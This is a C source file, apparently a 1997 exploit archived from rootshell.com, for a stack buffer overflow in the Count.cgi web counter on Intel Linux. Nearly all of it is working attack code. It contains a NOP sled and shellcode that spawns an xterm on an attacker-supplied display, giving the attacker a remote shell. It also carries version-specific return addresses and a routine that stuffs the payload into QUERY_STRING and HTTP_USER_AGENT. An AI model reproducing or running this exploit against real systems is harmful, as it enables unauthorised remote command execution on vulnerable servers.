
/* http://www.rootshell.com/ */

/*###############################################################
#################################################################
##
##   count.cgi.l.c -  intel linux exploit for Count.cgi
##   Gus/97
##   Shell code blatantly stolen from 'wwwcount.c' by 
##   Plaguez <dube0866@eurobretagne.fr>
##      
##   Spawns an xterm on your $DISPLAY, or override on command
##   line.
##
##
*/


#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>

/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);

/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



int main (int argc, char *argv[]){
  char *shellcode;
  int cnt,ver;
  unsigned long sp;
  int retcount;
  int dotquads[4];
  int dispnum;
  char displaynamebuf[255];

  
  sp = cnt = ver = 0;
  fprintf(stderr,"\tcounterterm - Gus\n");
  if (argc<3) usage(argv[0]);

  while ((cnt = getopt(argc,argv,"d:v:")) != EOF) {
    switch(cnt){
    case 'd':
      {
	retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 
			  &dotquads[0],
			  &dotquads[1],
			  &dotquads[2],
			  &dotquads[3], &dispnum);
	if (retcount != 5) usage(argv[0]);
	sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d", 
		dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
	shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
	sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
      }
    break;
    case 'v':
      ver = atoi(optarg);
      printf("Ver is %d\n",ver);
      break;
    default:
      usage(argv[0]);
      break;
    }
  }
  
  sp = getsp(ver);  

  (void)doit(sp,shellcode);

  exit(0);
}

unsigned long getsp(int ver) {

  /* Get the stack pointer we should be using. This is version specific, and,
  ** as with all buffer overruns is more of a pointer than a precise value.
  */
  
  unsigned long sp=0;
  
  if (ver == 15) sp = 0xFFFFFF;
  if (ver == 20) sp = 0XFFFFFF;
  if (ver == 22) sp = 0xbfffa0b4;
  if (ver == 23) sp = 0xbfffee38;
  if (sp == 0) {
    fprintf(stderr,"That version is not vulnerable.\n");
    exit(1);
  } else {
    fprintf(stderr,"\tUsing offset 0x%x\n",sp);
    return sp;
  }

}


int usage (char *name) {
  fprintf(stderr,"\tUsage:%s -d <display> -v <version>\n",name);
  fprintf(stderr,"\te.g. %s -d 127.0.0.1:0 -v 22\n",name);
  exit(1);
}

void doit (long sp, char *shellcode) {
 
  int cnt;
  char qs[7000];
  char chain[] = "user=a";
  
  
  for(cnt=0;cnt<4104;cnt+=4) {
    qs[cnt+0] = sp &  0x000000ff;
    qs[cnt+1] = (sp & 0x0000ff00) >> 8;
    qs[cnt+2] = (sp & 0x00ff0000) >> 16;
    qs[cnt+3] = (sp & 0xff000000) >> 24;
  }
  strcpy(qs,chain);
  qs[strlen(chain)]=0x90;

  qs[4104]= sp&0x000000ff;
  qs[4105]=(sp&0x0000ff00)>>8;
  qs[4106]=(sp&0x00ff0000)>>16;
  qs[4107]=(sp&0xff000000)>>24;
  qs[4108]= sp&0x000000ff;
  qs[4109]=(sp&0x0000ff00)>>8;
  qs[4110]=(sp&0x00ff0000)>>16;
  qs[4111]=(sp&0xff000000)>>24;
  qs[4112]= sp&0x000000ff;
  qs[4113]=(sp&0x0000ff00)>>8;
  qs[4114]=(sp&0x00ff0000)>>16;
  qs[4115]=(sp&0xff000000)>>24;
  qs[4116]= sp&0x000000ff;
  qs[4117]=(sp&0x0000ff00)>>8;
  qs[4118]=(sp&0x00ff0000)>>16;
  qs[4119]=(sp&0xff000000)>>24;
  qs[4120]= sp&0x000000ff;
  qs[4121]=(sp&0x0000ff00)>>8;
  qs[4122]=(sp&0x00ff0000)>>16;
  qs[4123]=(sp&0xff000000)>>24;
  qs[4124]= sp&0x000000ff;
  qs[4125]=(sp&0x0000ff00)>>8;
  qs[4126]=(sp&0x00ff0000)>>16;
  qs[4127]=(sp&0xff000000)>>24;
  qs[4128]= sp&0x000000ff;
  qs[4129]=(sp&0x0000ff00)>>8;
  qs[4130]=(sp&0x00ff0000)>>16;
  qs[4131]=(sp&0xff000000)>>24;
  
  strcpy((char*)&qs[4132],shellcode);

  
  fprintf(stderr,"GET /cgi-bin/counter?%s\n\n",qs);


  setenv("HTTP_USER_AGENT",qs,1);
  setenv("QUERY_STRING",qs,1);
  system("./Count.cgi");

}

